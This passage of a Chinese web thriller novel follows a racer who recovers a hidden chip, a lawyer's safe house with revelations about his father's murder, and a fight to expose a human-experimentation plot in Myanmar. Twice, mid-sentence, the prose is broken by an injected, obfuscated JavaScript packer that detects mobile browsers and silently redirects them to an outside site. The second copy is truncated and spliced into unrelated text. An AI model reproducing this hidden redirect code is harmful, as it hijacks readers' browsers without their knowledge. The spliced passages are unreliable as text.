“我酒吧有几个常客是附近工地的保安,喝多了什么都往外说。”林骁点了支烟,但没抽,只是夹在指间,“他们说,陆家少爷最近在挖宝,给的工钱是平常的三倍,但要求绝对保密。还雇了几个外国专家,整天对着图纸嘀嘀咕咕。” 唐果裹紧了外套。雨夜的寒气让她想起阿尔卑斯山的风雪。她拿出手机,又试了一遍江砚辞和苏晚晚的号码,还是关机。 “联系不上。”她叹气,“不知道他们那边顺不顺利。” “先管好眼前吧。”林骁看了眼手表,“十一点了,再等三小时。” 两人回到“雾港”酒吧。下午的对话后,林骁把唐果留了下来,理由是她现在回去太危险。酒吧二楼有个小房间,以前是林骁自己住的,现在收拾出来给唐果。 房间里还留着一些过去的痕迹——书架上有他们一起淘来的旧书,墙上有唐果拍的古城墙照片,床头柜上甚至还有她当年落下的一个发卡。时间在这里仿佛停滞了三年。 “我没动过。”林骁站在门口,有些尴尬,“懒。” 唐果没说话。她走到书架前,抽出一本《中国矿业史》,翻开,里面夹着一张老照片——她、林骁、还有几个大学同学,在西北戈壁滩上的合影。那时的他们还没分手,笑得没心没肺。 “为什么分手后还留着这些?”她问。 林骁沉默了很久,最后说:“因为后悔。” 简单的三个字,在安静的房间里格外清晰。唐果转过身,看着这个曾经爱过、恨过、又渐渐淡忘的男人。三年了,他们都变了,但有些东西似乎还在。 “林骁,”她轻声说,“今晚之后,可能就没机会问了。当年你为什么……” “因为我怂。”林骁打断她,自嘲地笑了笑,“你那时候要出国读研,要去全世界挖那些没人要的破铜烂铁。我觉得自己配不上你,就找了最烂的理由分手。后来你走了,我才发现,没有你,我哪儿都不想去。” 雨敲打着窗户。唐果握紧了手里的照片,纸边硌着掌心。 “现在说这些有什么用。”她低下头,“都过去了。” “是过去了。”林骁走到窗前,背对着她,“但我还是想让你知道。而且……如果你愿意,等这事完了,我想重新开始。” 唐果没回答。她不知道该怎么回答。三年的空白,不是一句后悔就能填平的。 楼下传来敲门声。林骁皱眉:“这个点谁会来?” 他下楼开门。门外站着两个人——江砚辞和苏晚晚,浑身湿透,站在雨里。 “抱歉打扰。”江砚辞说,“阿影让我们来找你。” 林骁愣了一秒,随即侧身:“进来吧。” 四人坐在酒吧大厅。林骁煮了热咖啡,江砚辞简单说明了来意。听到要找江母老房子的玩具箱,林骁从吧台抽屉里拿出一串老式黄铜钥匙: “三年前你母亲病重时,把这串钥匙交给我爷爷保管。她说如果有一天你来找,就把钥匙给你。但我爷爷去年走了,钥匙就传给了我。” 他把钥匙放在桌上:“阁楼的钥匙是这把最小的。但你母亲说过,箱子有机关,开错了会触发警报——不是普通的警报,是直接联系某个安全部门的警报。” “她知道有人会来偷?”苏晚晚问。 “她知道有人会来抢。”林骁看着江砚辞,“你父亲当年把第三部分交给她时,说这是最后的保险。如果技术被滥用,这东西能锁死所有相关系统。但前提是——必须由你亲手打开。” 江砚辞拿起那把最小的钥匙。铜钥匙冰凉,边缘已经磨得光滑。 “现在就去?”唐果问。 “现在。”江砚辞站起来,“趁陆文渊还不知道我们回来了。” “我陪你们。”林骁拿起外套,“那一片我熟,而且……我得完成爷爷的托付。” 唐果也站起来:“我也去。” “你留在这儿。”林骁按住她的肩膀,“如果两小时后我们没回来,或者没联系你,就打这个号码。” 他递给她一张名片,上面只有一个名字和电话号码:**周予琛律师**。 唐果握紧名片,看着三人推门走进雨夜。酒吧里突然变得很空,只有雨声和墙上时钟的滴答声。 她走到吧台后,给自己倒了杯威士忌。烈酒入喉,灼烧感让她稍微镇定下来。她拿出手机,打开加密相册——里面是她这些年考古拍的照片,废墟、古物、尘封的历史。她突然想起江砚辞在阿尔卑斯山说过的话:“有些历史不应该被挖出来。” 但已经挖出来了,怎么办? 只能面对。 江砚辞记忆里的老房子在南城最老的街区,红砖墙,木楼梯,楼道里永远弥漫着霉味和邻居家饭菜的混合气息。他已经七年没回来过了——母亲去世后,他就搬了出去,房子一直空着。 楼道灯坏了,林骁打着手电。钥匙插入锁孔,转动,门吱呀一声开了。灰尘的味道扑面而来。 屋里的一切都保持着母亲生前的样子。沙发罩着白布,电视柜上摆着全家福——父亲、母亲、十岁的他,在某个公园里,笑得灿烂。江砚辞站在照片前看了很久,才继续往里走。 阁楼的入口在父母卧室的衣柜后面,是个隐蔽的拉门。林骁帮忙移开衣柜,露出那个小小的木门。钥匙插入,转动,门开了,一股更浓的灰尘味涌出。 楼梯很窄,只能容一人通过。江砚辞先上,苏晚晚跟在后面,林骁在下面守着。 阁楼低矮,堆满了杂物。最显眼的是墙角那个深蓝色的铁皮玩具箱,上面印着太空飞船的图案,已经褪色了。江砚辞记得这个箱子——他八岁生日时,父亲送的,说里面装着他的“未来”。 他蹲在箱子前,没有立刻开锁。母亲说的机关会是什么?机械锁?电子感应?还是…… “看这里。”苏晚晚指着箱盖边缘一处不起眼的凹陷,“像是指纹识别。” 江砚辞把左手拇指按上去。没反应。他又试了右手拇指,还是没反应。 “会不会是……”苏晚晚犹豫了一下,“你父母的指纹?” 江砚辞尝试了父亲常用的右手食指,母亲常用的左手中指,都没用。他盯着那个凹陷,突然想起什么,从脖子上摘下一直戴着的吊坠——那是母亲留给他的,一个很小的金属片,形状像赛车方向盘。 他把金属片按进凹陷。严丝合缝。 箱子内部传来轻微的机械声,接着咔哒一声,锁开了。 箱子里确实是他小时候的玩具:变形金刚、塑料士兵、几辆玩具车、还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004290|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个手工做的木头飞机。但江砚辞一眼就看到了不协调的东西——在那些玩具下面,压着一个扁平的金属盒,大小像一本字典。 他拿出金属盒。盒子没有锁,只有一个指纹识别区。这次,他自己的拇指按上去,盒子开了。 里面不是纸质文件,而是一枚晶莹剔透的芯片,封装在特种玻璃里。芯片旁边有张小卡片,母亲的字迹: “**小辞,如果你看到这个,说明你已经做出了选择。这是第三部分——伦理约束算法的核心代码。把它和你已经拿到的前两部分结合,就能得到完整的技术。但记住你父亲的话:技术是工具,人才是根本。愿你用它照亮黑暗,而不是制造更深的黑暗。妈妈永远爱你。**” 卡片背面还有一行小字:“**芯片封装玻璃是特制的,一旦破碎,内容自动销毁。所以,小心拿好。**” 江砚辞握着那枚玻璃芯片。它很轻,但在他手里重如千钧。这就是父亲和母亲用生命保护的东西,这就是“渡鸦”和陆文渊不惜一切想要得到的东西。 现在,它在他手里。 “拿到了?”林骁在下面问。 “拿到了。”江砚辞把芯片小心地放进内袋,“走吧。” 三人迅速离开阁楼,锁好门。正要离开老房子,江砚辞突然停下脚步,看向父母卧室的床头柜——那里放着母亲生前每晚读的《圣经》。他走过去,翻开书页,里面夹着一张泛黄的拍立得照片。 照片上是三个年轻女孩:母亲江美玲、苏晚晚的母亲林薇,还有第三个人——一个戴眼镜、气质清冷的女孩,大概二十岁出头。背面写着一行字:“**与薇薇、阿影,苏黎世,1985。愿友谊长存,愿秘密永藏。**” 阿影是女性?江砚辞愣住了。他在阿尔卑斯山见到的那个阿影,明明是个中年男人。 “怎么了?”苏晚晚走过来,看到照片,也愣住了,“这是我妈妈……旁边这个是?” “阿影。”江砚辞把照片递给她看,“但和我们见到的不是同一个人。” “可能是代号传承。”林骁凑过来看,“情报界常有这种事,一个代号用几十年,换了好几个人。” 这个解释合理,但江砚辞总觉得哪里不对。如果阿影是代号,那么现在这个帮他们的阿影,到底是谁?为什么要冒充?或者……照片上的女孩才是冒充的? 没时间细想。楼下突然传来汽车急刹的声音。 林骁跑到窗边,掀开窗帘一角:“三辆车,八九个人,正在下车。是陆文渊的人。” “后门。”江砚辞立刻说。 三人快速下楼,从厨房的后门出去。后面是条狭窄的巷道,堆满杂物。他们刚跑进巷道,前门就传来撞门声。 雨还在下,巷道里积水很深。江砚辞护着苏晚晚,林骁在前面开路。跑到巷道尽头,是个死胡同——墙太高,翻不过去。 “这边!”林骁推开一扇锈蚀的铁门,门后是个废弃的小工厂车间。 车间里堆满报废的机床,蛛网密布。三人刚躲到一台机床后面,追兵就冲进了巷道。手电光束在雨幕中晃动,脚步声越来越近。 “分头走。”江砚辞低声说,“我引开他们,你们带芯片走。” “不行。”苏晚晚抓住他的手臂,“你肩膀有伤,跑不快。” “所以才要引开。”江砚辞看着她和林骁,“芯片最重要。林骁,带她去安全的地方,联系周律师。” 林骁犹豫了一秒,点头:“好。你们保重。” 他拉着苏晚晚往车间深处跑。江砚辞等了几秒,然后故意踢倒一个铁桶。哐当巨响,所有手电光立刻转向这个方向。 “在那边!” 江砚辞转身就跑。右肩的伤口在剧烈奔跑中崩开,血渗出了绷带,但他没停。他冲过车间,从另一头的破窗户跳出去,落在一条更宽的巷子里。 落地时没站稳,他摔在地上,泥水溅了一身。正要爬起来,两束车灯突然照亮了整条巷子——又一辆车堵在了巷口。 完了。江砚辞心里一沉。 车门打开,下来的人却让他愣住——是周律师,周予琛。他穿着西装,撑着伞,身后跟着两个穿便衣但气质硬朗的男人。 “江砚辞?”周律师快步走过来,“你受伤了?” “周律师?你怎么……” “阿影通知我的。”周律师示意手下扶起江砚辞,“先上车,离开这里再说。” 巷子另一头,陆文渊的人已经追了过来。周律师的两个手下迎上去,几句交涉后,对方居然退走了。 江砚辞被扶上车。车里温暖干燥,周律师递给他一条干毛巾:“擦擦。苏小姐呢?” “和林骁走了,带着芯片。”江砚辞擦着脸上的雨水,“你们怎么让那些人退走的?” “出示了证件。”周律师简短地说,“有些部门,陆家也不敢硬碰硬。” 车子驶离老城区,开往城东。江砚辞看着窗外掠过的城市灯火,突然感到一阵深深的疲惫。这趟回国不到六小时,已经历了两次围堵。陆文渊的触角,比他想象的更深更广。 “我们现在去哪?”他问。 “去我的安全屋。”周律师说,“等苏小姐他们汇合。然后,我们需要好好谈谈——关于你手里的技术,关于‘渡鸦’,也关于……你父亲当年没说完的话。” 江砚辞看向周律师。这位父亲的老友,三年前曾为他奔走辩护,三年后又在他最危险时出现。但此刻,周律师的眼神里有种他从未见过的复杂情绪——不只是关切,还有犹豫,甚至……愧疚。 “周叔叔,”江砚辞轻声问,“你是不是知道什么我不知道的事?” 周律师沉默了很久。车子穿过隧道,灯光在他脸上明明灭灭。 “等到了安全屋。”他最终说,“我会告诉你一切。” 雨刷器在挡风玻璃上规律地摆动。城市在雨夜里沉默着,但暗流,从未停止涌动。 而此刻的缅甸雨林深处,陆野正一瘸一拐地走向那个坐标标注的安全屋。每走一步,腿上的伤口都在提醒她,这场战斗,才刚刚开始。 24. 第二十四章 第二十四章安全屋的真相与雨林的伤疤 周律师的安全屋在城东一个老旧小区里,表面看就是普通民居,连防盗门都锈迹斑斑。但门一开,江砚辞就察觉到了不同——门厚得出奇,锁是三重加密的电子锁,墙里隐约能看到钢板夹层。 客厅简朴,但墙角堆着专业通讯设备和服务器机柜。一个年轻男人正坐在电脑前敲代码,听到动静回头,看到江砚辞时愣了一下:“砚辞哥?” 江砚辞也怔住了:“周屿?” 那是周律师的儿子,比他小五岁,记忆中还是个戴眼镜的书呆子高中生,现在已经是眉眼锋利的青年了。 “你们认识?”周律师脱下外套。 “我爸以前资助过小屿的编程比赛。”江砚辞看着那些设备,“所以这里是……” “我的工作室。”周屿站起来,腿脚有些不便——江砚辞想起来,周屿高二时出过车祸,右腿落了残疾,“主要负责网络安全和情报分析。三年前你的事,我爸让我偷偷查过一些线索。” 他调出电脑屏幕,上面是复杂的网络拓扑图:“陆文渊在国内的通讯网络,我已经渗透了百分之四十。他最近在频繁联系缅甸和瑞士的号码,内容加密等级很高,但昨晚我截获了一段——他们在讨论‘启明星计划’的最终阶段。” “启明星计划?” 周屿播放了一段音频,杂音很大,但能听出陆文渊的声音:“……阿尔卑斯山的原料到手后,立刻转运到缅甸。B-12实验室的设备调试得怎么样了?” 另一个男声回答:“设备就位,但‘容器’不够稳定。施密特当年留下的抑制配方,我们还没完全破解。” “没时间了。”陆文渊语气阴沉,“江砚辞已经拿到第三部分,一旦他完成算法整合,我们的系统就会被锁死。必须在七天内启动‘启明星’,哪怕成功率只有百分之三十。” 音频到此中断。 江砚辞背脊发凉。“容器”“抑制配方”“成功率百分之三十”——这些词组合在一起,指向一个可怕的可能性:陆文渊想用活人做实验,把不完整的技术强行植入人体。 “他们在缅甸的实验室具体位置能确定吗?”他问。 “大致范围在缅北山区,但具体坐标还在破解。”周屿调出卫星地图,“不过有另一件事你可能更关心——关于你父亲当年的车祸。” 他看向周律师。周律师点点头,从保险柜里拿出一个档案袋:“这是我这辈子最后悔保管的东西。三年前没给你,是因为我觉得你还不够强大。现在……我觉得时候到了。” 档案袋里是一份交通事故鉴定报告的副本,但和当年公开的那份不同。这份报告多了三页附件:现场轮胎痕的详细分析、刹车系统零部件的金相检测报告、还有一份目击者证词——那个目击者在事故后一周就移民加拿大了,从此失联。 “你父亲的车祸不是意外。”周律师声音沉重,“刹车油管被人用专业工具切开了三分之二,平时开车没问题,但紧急制动时油压骤增,会导致油管爆裂。做手脚的人很懂车,知道怎么让事故看起来像自然老化。” 江砚辞的手指收紧,纸页边缘被捏出褶皱:“是谁?” “当时的嫌疑人有三个:徐朗、陆远山(陆文渊的父亲),还有一个……”周律师停顿,似乎在斟酌措辞,“你母亲。” 空气凝固了。 “不可能。”江砚辞的声音在发抖。 “听我说完。”周律师按住他的手,“你母亲当时发现了陆远山和徐朗在密谋窃取你父亲的研究成果。她试图阻止,但陆远山威胁要伤害你。就在车祸前一天,你母亲约了徐朗见面,想用钱收买他,让他放弃计划。但徐朗录了音,把录音给了陆远山。” 他从档案袋底部拿出一盘微型磁带:“这是徐朗当年留下的备份,三年前他交给我,说是‘保命符’。我一直没敢听,但昨晚……我听了。” 磁带放入播放器。沙沙声后,传来江美玲的声音,带着压抑的愤怒: “徐朗,我可以给你钱,给你儿子安排最好的学校。但你必须停止和陆远山的合作。振华的技术是用来救人的,不是用来制造武器的。” 徐朗的声音:“江太太,你太天真了。陆总答应我的,不只是钱,还有地位。而且……你真的以为你丈夫那么清白?他当年在德国参与的那些项目,你以为都是救死扶伤?” “那些是历史!振华早就赎罪了!” “赎罪?”徐朗冷笑,“有些人犯的错,是赎不清的。你丈夫手里有施密特从集中营带出来的原始数据,那些数据沾着血。他想用这些数据做研究,本身就是罪恶。” 录音里沉默了很久。然后江美玲说:“如果振华出事,我会把一切都公开。包括陆远山战时做的那些事。” “那你儿子呢?”徐朗的声音变冷,“陆总说过,他可以让你儿子进最好的车队,也可以让他这辈子碰不了方向盘。选吧,江太太。” 录音结束。 周律师关掉播放器:“第二天,你父亲就出车祸了。你母亲一直认为,是她那句威胁害死了你父亲。所以她后来拼了命地保护你,保护技术,想替你父亲赎罪。” 江砚辞坐在沙发上,感觉全身的血液都在往头顶冲。这些年,他一直以为母亲的病弱和忧虑是因为父亲的离世,没想到背后还有这样沉重的枷锁。 “所以徐朗和陆远山是凶手。”他声音沙哑。 “是,但没证据。”周律师叹气,“陆远山五年前去世了,徐朗现在也死了。死无对证。而且……陆文渊继承了他父亲的执念,甚至更疯狂。他不仅要技术,还要证明他父亲当年是对的——那些沾血的数据,可以创造出超越人类的新物种。” 窗外传来汽车声。周屿走到窗边:“是苏小姐他们。” 几分钟后,苏晚晚和林骁安全抵达。苏晚晚的脚踝肿得更厉害了,林骁扶她坐下,自己脸上也有擦伤。 “芯片安全。”苏晚晚从怀里拿出那个玻璃封装的小盒子。 江砚辞接过,和三部分终于集齐了——父亲的神经解码公式(在施密特那儿,已由国际刑警保管)、母亲的工程适配算法(在阿尔卑斯山已获取)、还有这枚伦理约束核心。三者结合,就是完整的人机接口技术。 “现在怎么办?”林骁问,“陆文渊肯定在全城找我们。” 周律师看向江砚辞:“你有两个选择。第一,带着芯片去找国家相关部门,上交技术,让他们处理。第二,用它做饵,引陆文渊现身,一次性解决问题。” “第一种更安全。”苏晚晚说。 “但治标不治本。”周屿插话,“陆文渊在缅甸有实验室,在海外有资金,就算这次失败了,他还会卷土重来。而且……我们没时间了。” 他调出另一段监控录像,是缅甸山区一个村庄的俯瞰画面。画面里,几十个村民被武装人员驱赶到空地上,几个穿白大褂的人正在给他们做检查,像在挑选什么。 “这是三小时前的影像。”周屿声音发紧,“陆文渊在找‘容器’。如果让他找到合适的实验体,七天内‘启明星’就会启动。到那时,就不是技术泄露的问题,而是……活体武器诞生的问题。” 客厅里一片死寂。雨敲打着窗户,像倒计时。 江砚辞看着手里的玻璃芯片。父亲留下它,是希望技术用于医疗,拯救那些脊髓损伤、肢体残缺的人。母亲保护它,是为了赎罪,为了让沾血的数据最终洗净。而现在,他要做的决定,可能决定无数人的命运。 “用芯片做饵。”他最终说,“但要保证,饵不会真的被吃掉。” “什么意思?”周律师问。 江砚辞看向周屿:“你能做出芯片的仿制品吗?外观一样,但里面是病毒程序,一旦插入他们的系统,就会反向入侵,瘫痪所有设备。” 周屿眼睛亮了:“可以!但需要时间,至少二十四小时。” “我们只有七天。”江砚辞站起来,“而且需要有人把真芯片送到绝对安全的地方——比如,国际刑警在亚洲的某个安全点。” “我去。”苏晚晚说,“我脚伤了,跟着你们也是累赘。而且我有外交身份,出国相对容易。” “太危险了。”江砚辞反对。 “正因为危险,才更不会引起怀疑。”苏晚晚看着他,“陆文渊的目标是你和芯片,不会想到芯片会由一个受伤的舞者带出国。而且……我需要为我母亲做点什么。” 她提到林薇。江砚辞想起阁楼照片上那个笑容灿烂的年轻女孩,又看看眼前这个眼神坚定的女人。母女俩骨子里的倔强,如出一辙。 “好。”他最终同意,“但周叔叔要安排最可靠的护送。” 计划迅速制定:周屿仿制芯片,江砚辞用仿制品引陆文渊现身;苏晚晚由周律师的人护送,经香港转机去日内瓦,把真芯片交给国际刑警的隼;林骁和唐果继续调查老防空洞下的日军实验室,寻找陆文渊可能隐藏的其他秘密。 分工明确,但每个人都知道,这是场赌博。赌注是技术,是真相,也是人命。 **同一时间,缅甸雨林深处。** 陆野终于看到了安全屋——不是想象中隐蔽的洞穴或竹楼,而是一座建在山崖上的小型气象观测站,废弃多年,外墙爬满藤蔓。 带路的村民阿岩指了指上面:“就是那里。德国女人说,里面有你要的东西。” 陆野看了眼陡峭的山路,又看看自己还在渗血的右腿:“我可能需要帮助。” 阿岩二话不说蹲下:“我背你。” “不行,你……” “你救了我们村子。”阿岩回头,眼神质朴而坚定,“水源污染的事,你答应会帮我们解决。在那之前,你不能死。” 陆野不再推辞,趴上阿岩的背。青年虽然瘦,但常年在山里劳作,背着她依然走得稳当。爬了二十分钟,抵达观测站门口。 门没锁。里面灰尘厚积,但设备保存完好。最显眼的是工作台上那个银色金属箱,箱子上贴着一张便签,英文写着:“**给陆野。看完后销毁。**” 阿岩放下陆野,警惕地守在门口。陆野打开箱子,里面不是武器或现金,而是一沓厚厚的文件、几个移动硬盘,还有一把车钥匙和一本假护照。 文件最上面是封信,阿影的字迹: “**陆野,如果你看到这个,说明你还活着。很好。 箱子里是‘渡鸦’在亚洲三十年活动的完整证据链:人体实验记录、非法采矿数据、政商勾结文件、还有他们计划用放射性原料制造脏弹的技术方案。 硬盘里有视频证据,足够把陆文渊和他背后的势力送上国际法庭。 但前提是,这些证据能安全送出缅甸。 车钥匙是山下一辆改装越野车的,油箱满的,后备箱有武器和药品。假护照可以让你从边境小镇出境。 选择在你:可以自己带着证据离开,去追求安全的生活;也可以留下,帮这些村民夺回家园,但风险极高。 无论选什么,我都尊重。 保重。 ——影子**” 陆野翻看着那些文件。一页页触目惊心的数据:过去五年,“渡鸦”在缅北山区用村民做药物试验,导致上百人死亡;他们非法开采稀土矿,污染了整条河流;他们贿赂地方官员,把整个区域变成法外之地。 最后一份文件,是“启明星计划”的详细方案——用活人作为生物载体,植入不完整的人机接口芯片,试图创造“超级士兵”。计划里冷冰冰地写着:“**预计实验体存活率:30%。成功后的控制方案:脑部植入微型炸弹,确保绝对服从。**” 畜生。陆野握紧拳头,指甲陷进掌心。 “里面有什么?”阿岩在门口问。 陆野深吸一口气,把文件收好:“有让那些人滚蛋的东西。但需要你的帮助。” “你说。” “这些证据必须送到仰光,交给可靠的人,再转交给国际组织。”陆野看着阿岩,“但路上肯定有拦截。我需要有人分散他们的注意力,掩护我出境。” 阿岩沉默了几秒:“我去找我大哥。他在山里打过游击,认识不少人。” “会有危险。” “留在这里等死,就不是危险了?”阿岩苦笑,“那些人在我们水源里下毒,已经有三个孩子得了怪病。再这样下去,村子就没了。” 他转身下山,步伐坚定。陆野看着他的背影,又看看手里的证据。阿影给了她选择,但其实她根本没得选——有些事看到了,就不能假装没看到。 她开始清点箱子里的装备:一把带消音器的手枪、三个弹夹、急救包、卫星电话、还有一张手绘的撤离路线图。地图上标注了几个安全点和接应人,其中一个名字让她愣住:**陈曜**。 陈曜在缅甸?什么时候来的? 她立刻用卫星电话拨通那个号码。响了几声后,接通,传来陈曜压低的嗓音:“陆野?” “陈曜?你在哪?” “我在你东北方向二十公里处,一个废弃的锡矿里。”陈曜背景有机器运转的噪音,“周屿破解了‘渡鸦’的内部通讯,发现他们在这里藏了一批从阿尔卑斯山运来的放射性原料。我正在找具体位置。” “阿尔卑斯山的原料……已经运来了?” “三天前到的。陆文渊在加速计划。”陈曜顿了顿,“你拿到阿影留的东西了?” “拿到了。证据很全,但送出去很难。” “那就别送。”陈曜说,“直接用它做饵。陆文渊最怕这些证据曝光,如果我们放出消息说已经拿到了,他肯定会派人来抢。到时候……” “调虎离山。”陆野明白了,“我这边吸引火力,你那边找原料。” “对。但你需要支援。阿岩的村子能出多少人?” “十几个青壮年,有猎枪和砍刀,但对上专业武装不够看。” “够了。”陈曜似乎在操作什么设备,“我这边有几个朋友,是以前跑越野赛认识的,现在在边境做向导。他们熟悉地形,可以打游击。你把坐标发我,我让他们去接应你。” 电话挂断。陆野把坐标发过去,然后开始检查武器。手枪很新,保养得很好。她退出弹夹,确认满弹,重新上膛。 窗外的雨停了,月光从云缝中漏下,照亮山下的村庄。那些简陋的竹楼里,住着对此一无所知的村民,他们只想过平静的生活,却成了野心家棋盘上的棋子。 陆野想起江砚辞。那个曾经在赛道上光芒四射的车手,现在大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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爬了半小时,抵达崖底。阿岩已经汗如雨下,但脚步没停。他们钻进河边的密林,沿着兽道前进。远处传来枪声和爆炸声——老刀那边交上火了。 “快。”陆野催促。 又走了两公里,前方出现灯光——是个检查站,有“渡鸦”的人把守。绕不过去,只能硬闯。 阿岩放下陆野,从腰间抽出砍刀。陆野拔出手枪,检查消音器。 “我数到三。”她低声说。 “一、二——” “三!” 两人同时冲出树林。陆野连开三枪,放倒最近的两个守卫。阿岩像豹子一样扑上去,砍刀划过一人的脖颈。剩下的两人还没反应过来,就被陆野近距离爆头。 战斗在十秒内结束。但枪声还是引来了更多人,远处有车灯和狗吠声。 “上车!”陆野冲进检查站,那里停着一辆皮卡。 阿岩跳上驾驶座,发动引擎。皮卡冲出路障,驶上土路。后面追兵紧追不舍,子弹打在车身上乒乓作响。 陆野从副驾驶探出身,向后射击。但手枪射程有限,追兵越来越近。 就在皮卡要被追上时,侧面山坡突然滚下几块巨石,正好砸在追兵的车队前。接着是密集的枪声——是老刀的人,他们摆脱了追击,赶来接应了。 三辆车在狭窄的山路上展开追逐战。陆野换到后座,用从检查站捡到的步枪点射。一枪打中追车的轮胎,那辆车失控翻下山崖。 “还有五公里到边境!”阿岩喊道。 前方出现路障——这次是正规军的检查站。陆野心里一沉,如果“渡鸦”买通了军方,他们就完了。 但出乎意料,军人们挥手示意停车,然后……调转枪口,对准了后面的追兵。 一个军官走过来,用缅甸语对阿岩说了几句。阿岩翻译:“他说,上面下了命令,要保护你出境。‘渡鸦’的人越界了。” 陆野愣住。是谁在帮他们?阿影?陈曜?还是…… 没时间细想。军官示意他们快走。皮卡驶过检查站,进入边境缓冲区。前方就是联合国办事处的小楼,门口已经有人在等——是几个穿西装的白人,举着牌子:“**UN Human Rights**”(联合国人权组织)。 陆野抱着证据箱下车,腿一软,差点摔倒。一个工作人员扶住她:“陆小姐?我们是隼先生安排接应你的。” 隼。国际刑警的那个“隼”。 “证据都在这里。”陆野把箱子递过去,“请务必……” 话没说完,她眼前一黑,失去了意识。 失血过多加上过度劳累,身体终于撑到了极限。 **南城,凌晨四点。** 唐果在“雾港”酒吧二楼根本睡不着。她坐在窗边,看着雨夜中空荡的街道,手里握着那张周律师的名片。 楼下传来轻微响动。她警惕地起身,拿起林骁留下的棒球棍,悄悄下楼。 酒吧大厅里,林骁正在给自己倒酒,脸上有新添的擦伤。 “你回来了?”唐果放下棍子,“江砚辞他们呢?” “安全了。”林骁一口喝完威士忌,“芯片也安排好了。但老防空洞那边……出事了。” “什么事?” 林骁又倒了杯酒,手在微微发抖:“我和江砚辞分手后,自己去了趟老防空洞。想再找找线索。结果发现……他们在往下挖,已经挖通了。” “挖通了什么?” “日军实验室。”林骁抬起头,眼睛里有血丝,“我趁他们换班时溜进去看了一眼。里面……有人。” 唐果后背发凉:“活人?” “不。”林骁摇头,“是尸体。几十具,泡在福尔马林池里。都是当年实验的受害者。但最可怕的是——陆文渊的人,正在从那些尸体上提取什么东西。” “提取什么?” “脑组织。”林骁的声音在颤抖,“他们说,施密特博士的抑制配方需要‘原始样本’。那些七十年前的死者大脑里,可能还有活性物质。” 唐果捂住嘴。她考古多年,见过各种古尸,但听到这种用途,还是感到生理性的恶心。 “我们必须阻止他们。”她说。 “怎么阻止?”林骁苦笑,“陆文渊买通了那片区域的所有关系。报警?警察可能就是他的人。曝光?媒体可能不敢报。” “那就用我们的方式。”唐果眼神坚定,“你不是认识很多三教九流的人吗?找些可靠的,把实验室里的证据偷出来。不用多,只要一点样本,一点照片,交给敢报的人。” “太危险了。” “哪件事不危险?”唐果走到他面前,“林骁,三年前你因为害怕危险离开了我。现在你还想再逃一次吗?” 林骁看着她。雨夜的微光透过窗户,照在她脸上,那张他爱过又失去的脸,此刻写满了不容退让的决绝。 他放下酒杯,握住她的手:“好。不逃了。这次,一起。” 窗外,天色渐渐泛白。雨停了,但晨雾浓重,整座城市笼罩在灰蒙蒙的湿气里。 而在城市的各个角落,暗流正在汇集。江砚辞在安全屋等待芯片仿制完成,苏晚晚在准备出国的行装,陆野在缅甸的联合国办事处接受治疗,唐果和林骁在计划下一次潜入。 所有人都知道,真正的风暴,即将来临。 七天倒计时,已经开始。 25. 第二十五章 第二十五章七日倒计时·第一日 ## **清晨六点·南城国宾馆** 江砚辞在客房的沙发上坐了一夜。 面前的茶几上摊着那份车祸鉴定报告和录音磁带,烟灰缸里堆满了烟蒂——虽然医生警告过骨裂期间最好不要吸烟,但他需要某种东西来麻痹翻腾的思绪。 父母沉重如山的秘密压在胸口。父亲用沾血的数据做研究,母亲因一句威胁间接导致父亲死亡,而他自己……在过去三年里,一直在怨恨父亲的“不负责任”和母亲的“软弱逃避”。 真相像一把钝刀,缓慢地切割着他过去二十八年的认知。 敲门声响起。江砚辞掐灭烟,起身开门。门外是周屿,端着托盘,上面是简单的早餐和一杯黑咖啡。 “我爸让我送来的。”周屿走进来,看了眼茶几上的狼藉,“你一夜没睡?” “睡不着。”江砚辞接过咖啡,苦涩的液体滑过喉咙,稍微提了点神,“芯片仿制进度怎么样?” “完成了百分之七十。”周屿坐到电脑前,调出设计图,“外观完全一致,内部结构我做了三层伪装:第一层是伪装的数据包,模仿你母亲笔记里的算法结构;第二层是追踪病毒,一旦插入系统会自动上传位置信息;第三层才是真正的攻击程序——反向入侵,瘫痪所有连接的设备。” 他顿了顿:“但有个问题。陆文渊那边肯定有顶尖的安全专家,这种多层结构可能会被识别。我们需要一个‘诱饵层’,让他们觉得已经破解了防护,放松警惕。” “什么意思?” 周屿调出一份文档:“我查了陆文渊过去十年投资的科技公司,发现他特别青睐一家叫‘深蓝盾’的网络安全企业。这家公司的首席技术官,曾经是F1法拉利车队的数据分析师——你认识他,安德烈·科瓦奇。” 江砚辞记得这个名字。一个脾气古怪的克罗地亚人,痴迷于数据加密,当年在围场里以“从不相信任何人”闻名。 “科瓦奇为陆文渊工作?” “三个月前被挖走的。”周屿调出银行流水,“薪资翻了三倍,还给了股份。我研究过他的加密习惯,喜欢用斐波那契数列做基础算法。如果我们把芯片的伪装层做成他熟悉的风格,他会下意识地认为是自己人设计的,降低戒心。” “但你怎么模仿他的风格?” “我有他早期公开发表的论文,还有……”周屿有点不好意思,“三年前你出事时,我黑进过法拉利车队的内网,想找证据帮你。虽然没找到决定性证据,但下载了他们的一些技术文档,包括科瓦奇写的加密模块。” 江砚辞愣住:“你当年……” “我爸不让我说。”周屿低头敲键盘,“他说你那时候状态不好,知道有人暗中调查反而会压力更大。而且我们确实没找到能翻案的证据。” 沉默在房间里蔓延。江砚辞看着这个比自己小五岁的青年,突然意识到,在过去三年里,他并不是完全孤独的。有人在暗处为他努力过,即使最终失败了。 “谢谢。”他说,声音有点哑。 周屿摇摇头,继续工作:“预计今天中午能完成仿制。但还有一个问题——怎么让陆文渊相信这是真芯片?他肯定会测试。” 